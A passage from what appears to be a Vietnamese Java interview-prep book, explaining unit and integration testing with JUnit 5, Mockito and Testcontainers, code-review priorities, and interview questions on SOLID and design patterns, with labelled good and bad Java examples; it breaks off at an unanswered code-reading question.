1. End-to-end (e2e) test đi qua cả hệ thống như người dùng thật: gọi API qua gateway, service lưu DB, gửi message sang service khác, kiểm tra kết quả cuối. Ví dụ: gọi POST /orders rồi kiểm tra đơn xuất hiện trong GET /orders/{id} với trạng thái PAID. Chậm nhất, dễ vỡ vì phụ thuộc nhiều thứ, nên chỉ giữ cho vài luồng quan trọng nhất.
Hình kim tự tháp nghĩa là đáy rộng (nhiều unit test), đỉnh hẹp (ít e2e). Đảo ngược kim tự tháp (chủ yếu e2e) dẫn tới bộ test chạy 40 phút và hay đỏ vì lý do không liên quan tới code vừa sửa.
Test double bằng lời thường
Test double là tên chung cho mọi object "đóng thế" dependency thật trong test, giống diễn viên đóng thế trong phim. Nói bằng lời thường:
1. Stub: người đóng thế chỉ biết đọc thoại có sẵn. Hỏi "kho còn bao nhiêu SKU-1?" thì luôn trả "5". Stub không ghi nhớ ai đã hỏi gì.
1. Mock: người đóng thế kiêm thư ký, ghi lại mọi lời được nói với mình để cuối cảnh kiểm tra "đã gửi email cho khách đúng một lần chưa".
1. Spy: diễn viên thật được gắn micro. Object thật vẫn chạy code thật, nhưng mọi lời gọi được ghi lại, và bạn có thể ghi đè một vài method.
1. Fake: một bản cài đặt đơn giản nhưng chạy được thật, ví dụ repository lưu vào HashMap thay cho DB.
Đoạn code dưới đây tự viết stub và mock bằng Java thuần, không dùng Mockito, để bạn thấy bản chất chúng chỉ là class implement cùng interface.
	import java.util.ArrayList;
import java.util.List;
 
public class TestDoublesDemo {
    interface InventoryClient { int available(String sku); }
    interface EmailSender { void send(String to, String body); }
 
    static class OrderService {
        private final InventoryClient inventory;
        private final EmailSender email;
        OrderService(InventoryClient inventory, EmailSender email) { this.inventory = inventory; this.email = email; }
        boolean place(String sku, int qty, String customer) {
            if (inventory.available(sku) < qty) return false;
            email.send(customer, "Order " + sku + " x" + qty);
            return true;
        }
    }
    // Stub: canned answer, remembers nothing
    static class StubInventory implements InventoryClient { public int available(String sku) { return 5; } }
    // Hand-written mock: records calls so the test can verify them
    static class RecordingEmail implements EmailSender {
        final List<String> sent = new ArrayList<>();
        public void send(String to, String body) { sent.add(to + ":" + body); }
    }
 
    public static void main(String[] args) {
        var email = new RecordingEmail();
        var service = new OrderService(new StubInventory(), email);
        System.out.println(service.place("SKU-1", 2, "an@shop.vn")); // prints: true
        System.out.println(email.sent);                               // prints: [an@shop.vn:Order SKU-1 x2]
        System.out.println(service.place("SKU-1", 9, "an@shop.vn")); // prints: false
        System.out.println(email.sent.size());                        // prints: 1 (no email for the failed order)
    }
}



Giải thích: StubInventory luôn trả 5 nên đặt 2 sản phẩm thành công, đặt 9 thất bại. RecordingEmail ghi lại lời gọi, nhờ đó ta kiểm tra được "đơn thành công gửi đúng một email, đơn thất bại không gửi". Mockito làm đúng việc này nhưng tự sinh class lúc chạy: given(...).willReturn(...) tạo hành vi stub, verify(...) đọc lại nhật ký lời gọi như email.sent.
Spy trong Mockito bọc một object thật; mọi method chạy code thật trừ những method bạn chủ động ghi đè:
	import java.util.ArrayList;
import java.util.List;
import org.mockito.Mockito;
 
class SpySnippet {
    void demo() {
        List<String> list = Mockito.spy(new ArrayList<>());
        list.add("a");                              // real ArrayList.add runs
        Mockito.verify(list).add("a");              // and the call was recorded
        Mockito.doReturn(100).when(list).size();    // override only size()
        System.out.println(list.size());    // prints: 100
        System.out.println(list.get(0));    // prints: a (real data still there)
    }
}



Giải thích: list.add("a") chạy thật nên phần tử "a" có trong list, get(0) trả "a"; chỉ size() bị ghi đè thành 100. Với spy phải dùng doReturn(...).when(spy).method() chứ không dùng when(spy.method()), vì cú pháp thứ hai gọi method thật ngay lúc stub. Spy hữu ích khi làm việc với code cũ khó tách; nếu cần spy thường xuyên, đó là dấu hiệu class nên được tách nhỏ.
	Loại test double
	Là gì
	Dùng khi

	Stub
	Trả giá trị định sẵn, không kiểm tra tương tác
	Cần dữ liệu đầu vào cho code đang test

	Mock
	Ghi nhận lời gọi để verify
	Cần kiểm tra side effect (đã gửi email chưa)

	Spy
	Bọc object thật, chỉ ghi đè một phần
	Legacy code khó tách, dùng hạn chế

	Fake
	Implementation đơn giản chạy được
	Repository in-memory cho test nhanh



Trong Mockito, cùng một object @Mock có thể đóng vai stub (given(...).willReturn(...)) hoặc mock (verify(...)); phân biệt là ở cách bạn dùng nó.
Ví dụ dưới đây kiểm tra một quy tắc nghiệp vụ của OrderService: khi kho báo hết hàng thì phải ném OutOfStockException và tuyệt đối không được lưu đơn.
	@ExtendWith(MockitoExtension.class)
class OrderServiceTest {
    @Mock InventoryClient inventoryClient;   // fake, no real HTTP call
    @Mock OrderRepository orderRepository;   // fake, no database needed
    @InjectMocks OrderService orderService;  // real object, gets the 2 mocks above injected
 
    @Test
    void placeOrder_shouldFail_whenOutOfStock() {
        // given: use the mock as a stub, stock = 0
        given(inventoryClient.available("SKU-1")).willReturn(0);
 
        // when: call the behavior under test, capture the exception
        var ex = assertThrows(OutOfStockException.class,
                () -> orderService.place(new PlaceOrderCmd("SKU-1", 2)));
 
        // then: check the result and side effects
        assertThat(ex.getMessage()).contains("SKU-1");
        verify(orderRepository, never()).save(any()); // real mock usage: verify save was NOT called
    }
}



Giải thích: MockitoExtension tạo hai mock, rồi @InjectMocks tạo một OrderService thật và truyền hai mock đó vào constructor. Khi test chạy, orderService.place hỏi tồn kho và nhận 0 (vì đã stub), nên phải ném OutOfStockException; assertThrows bắt exception đó và trả về để kiểm tra message. Dòng verify(..., never()) bắt được lỗi logic kiểu "lưu đơn trước rồi mới kiểm tra kho". Nếu code thật không ném exception, hoặc có gọi save, test fail và chỉ rõ lý do. Test không khởi động Spring nên chạy trong vài chục mili giây.
Tên test mô tả hành vi, thân test chia given-when-then, mỗi test kiểm tra một hành vi. MockitoExtension mặc định strict stubs: stub không dùng đến sẽ làm test fail, giúp dọn test thừa.
Một test JUnit 5 + Mockito đầy đủ
Class cần test dưới đây áp dụng mã giảm giá: tìm coupon, kiểm tra còn lượt, trừ một lượt và trả về số tiền sau giảm. Đây là code Java thuần, dependency CouponRepository được truyền qua constructor.
	import java.math.BigDecimal;
import java.util.Optional;
 
public class CouponService {
    public interface CouponRepository {
        Optional<Coupon> findByCode(String code);
        void save(Coupon coupon);
    }
    public record Coupon(String code, BigDecimal percent, int remaining) {
        Coupon useOnce() { return new Coupon(code, percent, remaining - 1); }
    }
 
    private final CouponRepository repo;
    public CouponService(CouponRepository repo) { this.repo = repo; }
 
    // Returns the discounted amount and consumes one use of the coupon
    public BigDecimal apply(String code, BigDecimal amount) {
        Coupon c = repo.findByCode(code)
                .orElseThrow(() -> new IllegalArgumentException("Coupon not found: " + code));
        if (c.remaining() <= 0) throw new IllegalStateException("Coupon exhausted: " + code);
        repo.save(c.useOnce());
        BigDecimal discount = amount.multiply(c.percent()).divide(BigDecimal.valueOf(100));
        return amount.subtract(discount);
    }
}



Test đầy đủ, có import, chia rõ given-when-then:
	import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.BDDMockito.given;
import static org.mockito.Mockito.verify;
 
import java.math.BigDecimal;
import java.util.Optional;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.ArgumentCaptor;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
 
@ExtendWith(MockitoExtension.class)
class CouponServiceTest {
    @Mock CouponService.CouponRepository repo;   // Mockito creates a fake implementation
    @InjectMocks CouponService service;          // real object built with the mock above
 
    @Test
    void apply_shouldDiscountAndConsumeOneUse_whenCouponValid() {
        // given: coupon SALE10 gives 10% and has 3 uses left
        given(repo.findByCode("SALE10"))
                .willReturn(Optional.of(new CouponService.Coupon("SALE10", BigDecimal.TEN, 3)));
        // when
        BigDecimal result = service.apply("SALE10", new BigDecimal("200000"));
        // then: check the returned value and the saved state
        assertThat(result).isEqualByComparingTo("180000");
        ArgumentCaptor<CouponService.Coupon> saved = ArgumentCaptor.forClass(CouponService.Coupon.class);
        verify(repo).save(saved.capture());
        assertThat(saved.getValue().remaining()).isEqualTo(2);
    }
}



Giải thích: khi chạy, MockitoExtension tạo repo giả và @InjectMocks gọi constructor CouponService(repo). Phần given dạy mock trả coupon 10% còn 3 lượt. Phần when gọi đúng một hành vi. Phần then kiểm tra hai điều người dùng quan tâm: số tiền phải trả là 180000 (dùng isEqualByComparingTo vì BigDecimal("180000") và BigDecimal("180000.0") khác nhau với equals), và coupon được lưu lại với 2 lượt. ArgumentCaptor "bắt" object được truyền vào save để kiểm tra nội dung của nó. Nếu ai đó sửa code quên gọi save, verify fail với thông báo Wanted but not invoked: repo.save(<Capturing argument>). Trường hợp coupon hết lượt được viết theo đúng khuôn của OrderServiceTest ở trên: assertThrows và verify(repo, never()).save(any()).
Ví dụ test tồi và cách sửa
Test dưới đây chạy xanh, tăng coverage, nhưng gần như không bảo vệ được gì.
	import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.*;
 
import java.math.BigDecimal;
import java.util.Optional;
import org.junit.jupiter.api.Test;
 
class CouponServiceBadTest {
    static CouponService.CouponRepository repo = mock(CouponService.CouponRepository.class); // shared by all tests
    CouponService service = new CouponService(repo);
 
    @Test
    void test1() {                                              // name says nothing
        when(repo.findByCode(any()))
                .thenReturn(Optional.of(new CouponService.Coupon("X", BigDecimal.TEN, 3)));
        BigDecimal r = service.apply("X", new BigDecimal("200000"));
        System.out.println(r);                                  // a human has to read the console
        verify(repo, times(1)).findByCode(any());               // checks how, not what
        assertTrue(r != null);                                  // passes even if the discount is wrong
    }
}



Giải thích: các lỗi cụ thể:
1. Tên test1 không nói hành vi nào đang được kiểm tra; khi test đỏ trên CI, người đọc phải mở code mới biết chuyện gì hỏng.
1. repo là static, dùng chung giữa mọi test trong class. Stub và lịch sử lời gọi của test này rò sang test khác; thêm test thứ hai gọi findByCode thì times(1) có thể fail tùy thứ tự chạy.
1. assertTrue(r != null) đúng cả khi code tính sai thành 200000 hay 0. System.out.println không phải assertion.
1. verify(... findByCode ...) kiểm tra cách code làm (đã gọi find), không kiểm tra kết quả; refactor sang cache là test đỏ dù hành vi vẫn đúng. Ngược lại, điều quan trọng thật (coupon được trừ lượt) thì không kiểm tra.
Bản sửa chính là CouponServiceTest ở trên: mock tạo mới cho mỗi test qua @Mock, tên test mô tả hành vi, assert giá trị cụ thể 180000 và trạng thái được lưu.
Test slice của Spring Boot
	Annotation
	Nạp gì
	Dùng để test

	@WebMvcTest
	Controller, filter, MockMvc, không có service thật
	Mapping, validation, JSON, status code

	@DataJpaTest
	JPA, repository, transaction rollback sau mỗi test
	Query, mapping entity

	@SpringBootTest
	Toàn bộ context
	Luồng tích hợp nhiều tầng



Ví dụ dưới đây test một query của repository trên PostgreSQL thật chạy trong Docker, thay vì trên H2.
	@DataJpaTest // JPA layer only; each test runs in a transaction rolled back afterwards
@AutoConfigureTestDatabase(replace = AutoConfigureTestDatabase.Replace.NONE) // do not replace with an embedded DB
@Testcontainers
class OrderRepositoryTest {
    @Container          // static: one container for the whole class, stopped afterwards
    @ServiceConnection  // wires the container's URL, user, password into the DataSource
    static PostgreSQLContainer<?> postgres = new PostgreSQLContainer<>("postgres:16-alpine");
 
    @Autowired OrderRepository repo;
 
    @Test
    void findByStatus_returnsOnlyPendingOrders() {
        repo.save(Order.pending("u1"));
        repo.save(Order.paid("u2"));
        assertThat(repo.findByStatus(OrderStatus.PENDING)).hasSize(1); // only u1's order
    }
}



Giải thích: khi chạy, Testcontainers kéo image postgres:16-alpine và khởi động một container; @ServiceConnection nối DataSource của test vào container đó, và Replace.NONE đảm bảo Spring không tự thay DataSource bằng H2. Test lưu hai đơn (một PENDING, một PAID) rồi kiểm tra query chỉ trả về một đơn. Nhờ @DataJpaTest, dữ liệu này bị rollback sau test nên các test không làm bẩn dữ liệu của nhau. Testcontainers chạy PostgreSQL, Kafka, Redis thật trong Docker, tránh chuyện test pass trên H2 nhưng lỗi trên PostgreSQL vì khác cú pháp, khác kiểu dữ liệu. @ServiceConnection (Spring Boot 3.1+) tự cấu hình URL, user, password từ container.
	GHI CHÚ
Từ Spring Boot 3.4, @MockBean và @SpyBean bị deprecated, thay bằng @MockitoBean và @MockitoSpyBean của Spring Framework 6.2. Nhiều tài liệu cũ vẫn dùng annotation cũ.



Coverage và TDD
Coverage cho biết dòng nào chưa được chạy, không cho biết code đúng. Một test gọi method mà không assert gì vẫn tăng coverage. Tôi xem branch coverage ở phần nghiệp vụ quan trọng, không ép 90% cho DTO và config. Muốn đo chất lượng test thật thì mutation testing (PIT) cố tình sửa code và xem test có bắt được không.
TDD là vòng lặp red-green-refactor: viết test fail, viết code tối thiểu để pass, rồi refactor khi đã có lưới an toàn. Tôi không yêu cầu ứng viên làm TDD mọi lúc; tôi muốn nghe bạn biết nó hữu ích nhất với logic nghiệp vụ nhiều nhánh và khi sửa bug (viết test tái hiện bug trước).
10.7 Code review: nhìn gì
Thứ tự ưu tiên của tôi khi review một pull request:
1. Đúng nghiệp vụ: đọc ticket, code có làm đúng yêu cầu và xử lý trường hợp biên (null, rỗng, trùng, đồng thời) không.
1. An toàn dữ liệu và bảo mật: SQL injection, thiếu kiểm tra quyền, log lộ dữ liệu nhạy cảm, transaction đặt sai chỗ.
1. Hiệu năng hiển nhiên: N+1 query, gọi API trong vòng lặp, thiếu index cho query mới, tải cả bảng vào bộ nhớ.
1. Xử lý lỗi: nuốt exception, thiếu timeout, retry không idempotent.
1. Test: có test cho logic mới và cho bug vừa sửa không.
1. Dễ đọc và nhất quán: tên, cấu trúc, trùng lặp. Phong cách thuần túy để formatter và linter lo.
Review là về code, không về người. Comment nên nói lý do và phân loại rõ đâu là bắt buộc sửa, đâu là gợi ý.
10.8 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Hiểu sâu): Hãy cho một ví dụ vi phạm Liskov và cách sửa.
Square kế thừa Rectangle: client đặt width 5, height 4 và kỳ vọng diện tích 20, nhưng Square trả 16. Hai class không thay thế nhau được về hành vi. Sửa bằng cách bỏ quan hệ kế thừa, cho cả hai implement Shape và làm bất biến. Trong dự án, tôi từng thấy ReadOnlyAccount extends Account rồi override withdraw() ném exception; code gọi account.withdraw() nổ lúc runtime.
	CÂU HỎI ĐÀO SÂU
Làm sao phát hiện vi phạm Liskov sớm? Viết bộ test hợp đồng (contract test) cho interface và chạy nó với mọi implementation; implementation nào fail là vi phạm.



Câu hỏi (Hiểu sâu): DI khác DIP như thế nào?
DIP là nguyên tắc thiết kế: nghiệp vụ phụ thuộc abstraction, chi tiết hạ tầng implement abstraction đó. DI là kỹ thuật cung cấp dependency từ bên ngoài, Spring là một DI container. Có thể có DI mà không có DIP (inject class cụ thể), và có DIP mà không dùng framework (tự truyền implementation qua constructor).
	BẪY THƯỜNG GẶP
Trả lời "giống nhau, đều là tiêm phụ thuộc". Người phỏng vấn hỏi câu này chính là để lọc câu trả lời đó.



Câu hỏi (Cơ bản): Viết Singleton thread-safe. Trong Spring có nên tự viết không?
Tôi chọn enum hoặc holder idiom; nếu phải dùng double-checked locking thì field bắt buộc volatile. Trong Spring tôi không tự viết vì bean mặc định đã là singleton trong context, và Singleton tự viết khó mock, khó test. Chỉ dùng cho tiện ích thuần không phụ thuộc Spring.
	CÂU HỎI ĐÀO SÂU
Vì sao thiếu volatile thì double-checked locking hỏng? Vì instance = new Registry() không nguyên tử; lệnh gán tham chiếu có thể được sắp xếp trước khi constructor chạy xong, thread khác thấy object chưa khởi tạo hoàn chỉnh.



Câu hỏi (Thực chiến): Bạn refactor một hàm if-else 200 dòng tính phí vận chuyển theo đơn vị vận chuyển thế nào?
Trước hết viết test bao phủ hành vi hiện tại để có lưới an toàn. Sau đó tách mỗi nhánh thành một class implement ShippingFeeStrategy, đăng ký làm bean, và ShippingService chọn strategy qua Map theo mã đơn vị. Thêm đơn vị mới chỉ cần thêm class. Nếu các nhánh chủ yếu khác nhau ở tham số (đơn giá, phụ phí) thì tôi đưa tham số vào bảng cấu hình thay vì tạo class.
	BẪY THƯỜNG GẶP
Refactor mà không có test, hoặc tạo 15 class cho 15 nhánh chỉ khác nhau một con số.



Câu hỏi (Cơ bản): Spring dùng những design pattern nào?
Proxy cho AOP, @Transactional, @Cacheable; Factory qua BeanFactory và FactoryBean; Singleton ở scope mặc định của bean; Template Method trong JdbcTemplate, RestTemplate, TransactionTemplate; Observer qua ApplicationEvent; Adapter qua HandlerAdapter; Front Controller qua DispatcherServlet; Decorator trong TransactionAwareCacheDecorator.
	CÂU HỎI ĐÀO SÂU
JDK dynamic proxy khác CGLIB thế nào? JDK proxy chỉ tạo được proxy theo interface; CGLIB tạo class con nên proxy được class không có interface, nhưng không chặn được method final hoặc private. Spring Boot mặc định dùng CGLIB.



Câu hỏi (Cơ bản): Mock, stub và spy khác nhau thế nào?
Stub cung cấp dữ liệu định sẵn cho code đang test; mock dùng để kiểm tra tương tác đã xảy ra (verify); spy bọc object thật và chỉ giả lập một phần. Tôi ưu tiên kiểm tra trạng thái và kết quả trả về, chỉ verify khi side effect là điều quan trọng (gửi email, publish event), vì verify quá nhiều làm test gắn chặt vào cách cài đặt.
	BẪY THƯỜNG GẶP
Mock cả object mình đang test, hoặc mock những thứ đơn giản như DTO, List. Test như vậy chỉ kiểm tra lại Mockito.



Câu hỏi (Hiểu sâu): Khi nào dùng @WebMvcTest, @DataJpaTest, @SpringBootTest?
@WebMvcTest để test controller: mapping, validation, JSON, status code, với service được mock. @DataJpaTest để test query và mapping entity, nên chạy với Testcontainers thay vì H2. @SpringBootTest cho vài luồng tích hợp quan trọng. Slice test khởi động nhanh hơn nhiều so với nạp toàn bộ context.
	CÂU HỎI ĐÀO SÂU
Vì sao bộ test tích hợp càng ngày càng chậm? Thường vì mỗi class test dùng cấu hình khác nhau (@MockitoBean khác nhau, @DirtiesContext), phá cơ chế cache context của Spring và buộc khởi động lại context nhiều lần.



Câu hỏi (Hiểu sâu): Đặt @Transactional trên class test có vấn đề gì?
Test tự rollback, tiện dọn dữ liệu, nhưng che giấu lỗi: code chạy trong một transaction duy nhất nên LazyInitializationException không xuất hiện, @TransactionalEventListener(AFTER_COMMIT) không bao giờ chạy vì không có commit. Với @SpringBootTest(webEnvironment = RANDOM_PORT), request chạy ở thread server khác nên rollback của test không áp dụng lên dữ liệu request đó ghi.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Nói được hạn chế này cho thấy bạn thực sự từng debug test tích hợp, không chỉ copy annotation.



Câu hỏi (Thực chiến): Dự án của bạn yêu cầu coverage 80%, bạn nghĩ sao?
Coverage là chỉ số tối thiểu hữu ích để phát hiện chỗ chưa test, nhưng là mục tiêu tồi nếu đuổi theo con số: người ta sẽ viết test không assert. Tôi ưu tiên test kỹ logic nghiệp vụ và các bug đã từng xảy ra, xem branch coverage ở những phần đó, và bỏ qua DTO, config.
	BẪY THƯỜNG GẶP
Tự hào "dự án em coverage 95%" nhưng không trả lời được test đó bắt được bug nào.



Câu hỏi (Thực chiến): Khi review code của đồng nghiệp, bạn chú ý điều gì?
Đúng nghiệp vụ và trường hợp biên trước, sau đó bảo mật và an toàn dữ liệu, hiệu năng hiển nhiên như N+1 hay thiếu index, xử lý lỗi, test, cuối cùng mới là tính dễ đọc. Formatting giao cho công cụ. Tôi ghi rõ comment nào bắt buộc sửa, comment nào chỉ là gợi ý, và luôn giải thích lý do.
	CÂU HỎI ĐÀO SÂU
PR 2.000 dòng thì review thế nào? Đề nghị tách nhỏ; nếu không thể thì review theo luồng nghiệp vụ, tập trung vào phần thay đổi hành vi, và yêu cầu tác giả giải thích trực tiếp.



Câu hỏi (Cơ bản): Single Responsibility nói bằng lời thường là gì? Dấu hiệu nhận biết vi phạm?
Một class chỉ nên có một lý do để thay đổi, tức là chỉ phục vụ một nhóm người yêu cầu thay đổi. Cách kiểm tra nhanh: mô tả class bằng một câu, nếu câu có nhiều chữ "và" (tính giá và lưu đơn và gửi email) thì class đang gánh nhiều trách nhiệm. Dấu hiệu trong dự án: class hàng nghìn dòng, constructor nhận hơn 7–8 dependency, nhiều người cùng sửa một file và hay conflict, muốn test một quy tắc nhỏ phải dựng cả DB và email. Cách sửa là tách theo lý do thay đổi như SrpFixed ở mục 10.2, để class gốc chỉ điều phối.
Câu hỏi (Cơ bản): Vì sao nên dùng guard clause và bỏ magic number?
Vì cả hai giảm chi phí đọc và giảm lỗi âm thầm khi yêu cầu thay đổi. Guard clause loại trường hợp không hợp lệ ngay đầu method, phần logic chính nằm ở một mức thụt lề, đọc từ trên xuống như danh sách quy tắc. Magic number như status == 3 buộc người đọc đi tra nghĩa, và khi trạng thái được đánh số lại thì mọi chỗ so sánh số trần sai mà trình biên dịch không báo; dùng enum OrderStatus.READY_TO_SHIP thì đổi tên hay xóa trạng thái sẽ lộ lỗi ngay lúc biên dịch.
Câu hỏi (Đọc code): Đoạn code dưới đây vi phạm nguyên tắc SOLID nào? Hậu quả là gì?
	import java.util.ArrayList;
import java.util.List;
 
class ReportService {
    private final List<String> files = new ArrayList<>();
 
    String monthlyRevenue(List<Integer> amounts) {
        int total = amounts.stream().mapToInt(Integer::intValue).sum();
        String html = "<h1>Revenue</h1><p>" + total + "</p>";   // formatting
        files.add("/reports/revenue.html");                     // storage
        System.out.println("Mail to boss@shop.vn: " + html);    // delivery
        return html;
    }
}



Đáp án:
Vi phạm Single Responsibility: một method vừa tính doanh thu, vừa định dạng HTML, vừa lưu file, vừa gửi mail. Có ít nhất bốn lý do để thay đổi: công thức doanh thu, giao diện báo cáo (đổi sang PDF), nơi lưu (đổi sang S3), kênh gửi (đổi sang Slack). Hậu quả: đổi giao diện báo cáo có thể làm sai con số; muốn test công thức doanh thu phải chấp nhận side effect ghi file và in mail. Cách sửa: RevenueCalculator trả con số, ReportRenderer tạo HTML/PDF, ReportStorage và ReportSender lo lưu và gửi, ReportService chỉ gọi lần lượt.
Câu hỏi (Đọc code): Đoạn code dưới đây có vấn đề thiết kế gì?
	import java.util.List;
 
class Bird {
    void fly() { System.out.println("flying"); }
}
class Penguin extends Bird {
    @Override void fly() { throw new UnsupportedOperationException("penguins cannot fly"); }
}
class Migration {
    static void migrate(List<Bird> flock) {
        for (Bird b : flock) b.fly();   // explodes when the list contains a Penguin
    }
}



Đáp án:
Vi phạm Liskov Substitution: Penguin không thay thế được Bird ở chỗ code gọi fly(). Hàm migrate viết đúng theo hợp đồng của Bird, nhưng một Penguin trong danh sách làm nó ném UnsupportedOperationException lúc chạy. Gốc rễ là mô hình kế thừa sai: "biết bay" không phải thuộc tính của mọi loài chim. Sửa bằng cách tách năng lực ra interface (đồng thời là Interface Segregation): interface Bird { }, interface Flyable { void fly(); }, Sparrow implements Bird, Flyable, Penguin implements Bird, và migrate(List<Flyable> flock). Khi đó đưa Penguin vào migrate bị lỗi biên dịch thay vì lỗi runtime.
Câu hỏi (Đọc code): Vì sao đoạn code dưới đây khó unit test? Sửa thế nào?
	import java.time.LocalDate;
 
class BirthdayVoucherService {
    private final SmtpMailer mailer = new SmtpMailer("smtp.shop.vn", 587); // hard-wired dependency
 
    boolean sendIfBirthday(String email, LocalDate birthday) {
        LocalDate today = LocalDate.now();                                  // hidden dependency on the clock
        if (today.getMonthValue() == birthday.getMonthValue() && today.getDayOfMonth() == birthday.getDayOfMonth()) {
            mailer.send(email, "Happy birthday! Here is 50k voucher");
            return true;
        }
        return false;
    }
}
class SmtpMailer {
    SmtpMailer(String host, int port) { }
    void send(String to, String body) { /* real network call */ }
}



Đáp án:
Class vi phạm Dependency Inversion hai lần: tự new một mailer thật và tự đọc đồng hồ hệ thống. Hệ quả khi test: mỗi lần chạy test sẽ cố kết nối SMTP thật; và kết quả phụ thuộc vào ngày chạy, test "hôm nay là sinh nhật" chỉ xanh đúng một ngày trong năm. Cách sửa: định nghĩa interface Mailer { void send(String to, String body); }, nhận Mailer và java.time.Clock qua constructor, dùng LocalDate.now(clock). Test truyền Clock.fixed(Instant.parse("2026-09-24T00:00:00Z"), ZoneOffset.UTC) và một mailer ghi lại lời gọi, kiểm tra được cả hai nhánh bất kể ngày chạy.
Câu hỏi (Hiểu sâu): Interface Segregation khác Single Responsibility thế nào?
SRP nhìn từ phía class cài đặt (class này có mấy lý do để đổi), ISP nhìn từ phía client dùng (client này bị buộc phụ thuộc vào bao nhiêu method không dùng). Một class có thể tuân thủ SRP mà vẫn lộ ra một interface quá rộng cho từng client: ví dụ ProductRepository chỉ lo dữ liệu sản phẩm (đúng SRP), nhưng service chỉ đọc lại nhận cả deleteAll() (vi phạm ISP). Ngược lại, tách interface theo client (ProductReadRepository) không bắt buộc phải tách class cài đặt: một class vẫn implement nhiều interface hẹp. Hai nguyên tắc bổ sung cho nhau, cùng mục tiêu giảm phạm vi ảnh hưởng khi thay đổi.
Câu hỏi (Hiểu sâu): Vì sao người ta nói "ưu tiên composition hơn kế thừa"?
Vì kế thừa gắn chặt class con vào chi tiết cài đặt của class cha, còn composition chỉ phụ thuộc vào hợp đồng công khai của object được giữ. Như đã nói ở N1.7, kế thừa là quan hệ "là một" được cố định lúc biên dịch: class cha đổi cách cài đặt (ví dụ addAll gọi lại add) là class con có thể sai, như bài đếm phần tử HashSet kinh điển. Kế thừa còn dễ dẫn tới vi phạm Liskov (Square/Rectangle) và bùng nổ class con khi kết hợp tính năng (xem Decorator ở 10.4). Composition là "có một": giữ object khác làm field, gọi qua interface, thay được lúc runtime và thay được bằng fake khi test. Kế thừa vẫn hợp lý khi quan hệ "là một" đúng cả về hành vi, và class cha được thiết kế để kế thừa (Template Method, class abstract có hook rõ ràng).
	CÂU HỎI ĐÀO SÂU
Vậy Spring dùng kế thừa ở đâu mà vẫn ổn? OncePerRequestFilter, AbstractRoutingDataSource: class cha là abstract, khung thuật toán final, chỉ mở đúng các method dành cho class con. Đó là kế thừa có thiết kế, khác với kế thừa chỉ để tái sử dụng vài dòng code.



Câu hỏi (Hiểu sâu): Vì sao constructor injection làm code dễ test hơn field injection?
Vì với constructor injection, test có thể tạo object bằng new và truyền dependency giả vào, không cần Spring hay reflection. Field injection (@Autowired private PaymentGateway gateway;) để field ở trạng thái null khi bạn new class trong test, nên buộc phải khởi động Spring context hoặc dựa vào @InjectMocks dùng reflection. Constructor injection còn cho phép field là final (không bị gán lại), làm lộ rõ số dependency (constructor 10 tham số là tín hiệu vi phạm SRP), và phát hiện vòng phụ thuộc ngay lúc khởi động. Đây là điểm DIP (phụ thuộc interface), DI (truyền từ ngoài vào) và testing gặp nhau: new OrderService(fakeGateway) như ở DipFixed.
Câu hỏi (Cơ bản): Factory khác gọi new trực tiếp ở điểm nào? Kể một ví dụ trong JDK.
Factory gom quyết định "tạo class cụ thể nào" vào một chỗ và trả về abstraction, nên người gọi không bị trói vào class cụ thể. Với new EmailNotifier(), người gọi biết và phụ thuộc đúng class đó; thêm kênh mới phải sửa mọi nơi có logic chọn. Với notifierFor("SMS"), chỉ factory biết class cụ thể. Factory còn có thể trả object có sẵn thay vì tạo mới, đặt tên có ý nghĩa và kiểm tra tham số. Ví dụ JDK: List.of(1, 2) trả về một implementation nội bộ bất biến mà bạn không cần biết tên; Integer.valueOf(100) trả object từ cache thay vì tạo mới; LocalDate.of(2026, 9, 24) kiểm tra ngày hợp lệ.
Câu hỏi (Cơ bản): Khi nào dùng Builder, khi nào constructor hoặc record là đủ?
Dùng Builder khi object có nhiều tham số, nhiều tham số tùy chọn hoặc cùng kiểu dễ nhầm thứ tự; từ 3–4 tham số bắt buộc trở xuống thì constructor hoặc record là đủ. Builder cho phép đặt tên từng giá trị, có giá trị mặc định, và kiểm tra ràng buộc một lần trong build(). Cái giá là thêm code (hoặc thêm Lombok) và object có thể được tạo thiếu field bắt buộc nếu builder không kiểm tra. Với record Money(BigDecimal amount, String currency) thì builder là thừa.
Câu hỏi (Hiểu sâu): Decorator và Proxy có cấu trúc giống nhau, vậy khác nhau ở đâu?
Cả hai đều bọc một object cùng interface; khác nhau ở mục đích và ai quyết định việc bọc. Decorator thêm tính năng cho object (cache, nén, log) và thường do chính code của bạn lắp ghép tường minh, có thể chồng nhiều lớp theo thứ tự tùy chọn: new LoggingRateClient(new CachingRateClient(http, ...)). Proxy kiểm soát truy cập tới object (transaction, bảo mật, lazy loading, gọi từ xa), thường được framework tạo ra và người gọi không biết mình đang cầm proxy: bean @Transactional mà bạn inject thực chất là proxy CGLIB. Ranh giới trong thực tế khá mờ; khi phỏng vấn, nói được mục đích khác nhau là đủ.
Câu hỏi (Hiểu sâu): Strategy khác Template Method thế nào? Khi nào chọn cái nào?
Strategy thay cả thuật toán bằng composition (truyền object vào), Template Method cố định khung và cho class con thay một vài bước bằng kế thừa. Strategy linh hoạt hơn: đổi thuật toán lúc runtime, kết hợp tự do, test từng strategy riêng. Template Method hợp khi các biến thể dùng chung phần lớn quy trình và bạn muốn bắt buộc khung đó (luôn mở và đóng tài nguyên). Xu hướng hiện đại là Template Method dạng callback: JdbcTemplate.query(sql, rowMapper) giữ khung cố định nhưng nhận bước thay đổi dưới dạng object/lambda, tức là kết hợp ưu điểm của cả hai mà không cần kế thừa.
Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	import java.util.function.UnaryOperator;
 
public class DecoratorOrder {
    interface Text { String render(); }
 
    public static void main(String[] args) {
        Text base = () -> "hello";
        UnaryOperator<Text> upper = t -> () -> t.render().toUpperCase();
        UnaryOperator<Text> brackets = t -> () -> "[" + t.render() + "]";
        UnaryOperator<Text> shorten = t -> () -> t.render().substring(0, 3);
 
        System.out.println(shorten.apply(brackets.apply(upper.apply(base))).render());
        System.out.println(brackets.apply(shorten.apply(upper.apply(base))).render());
    }
}



Đáp án:
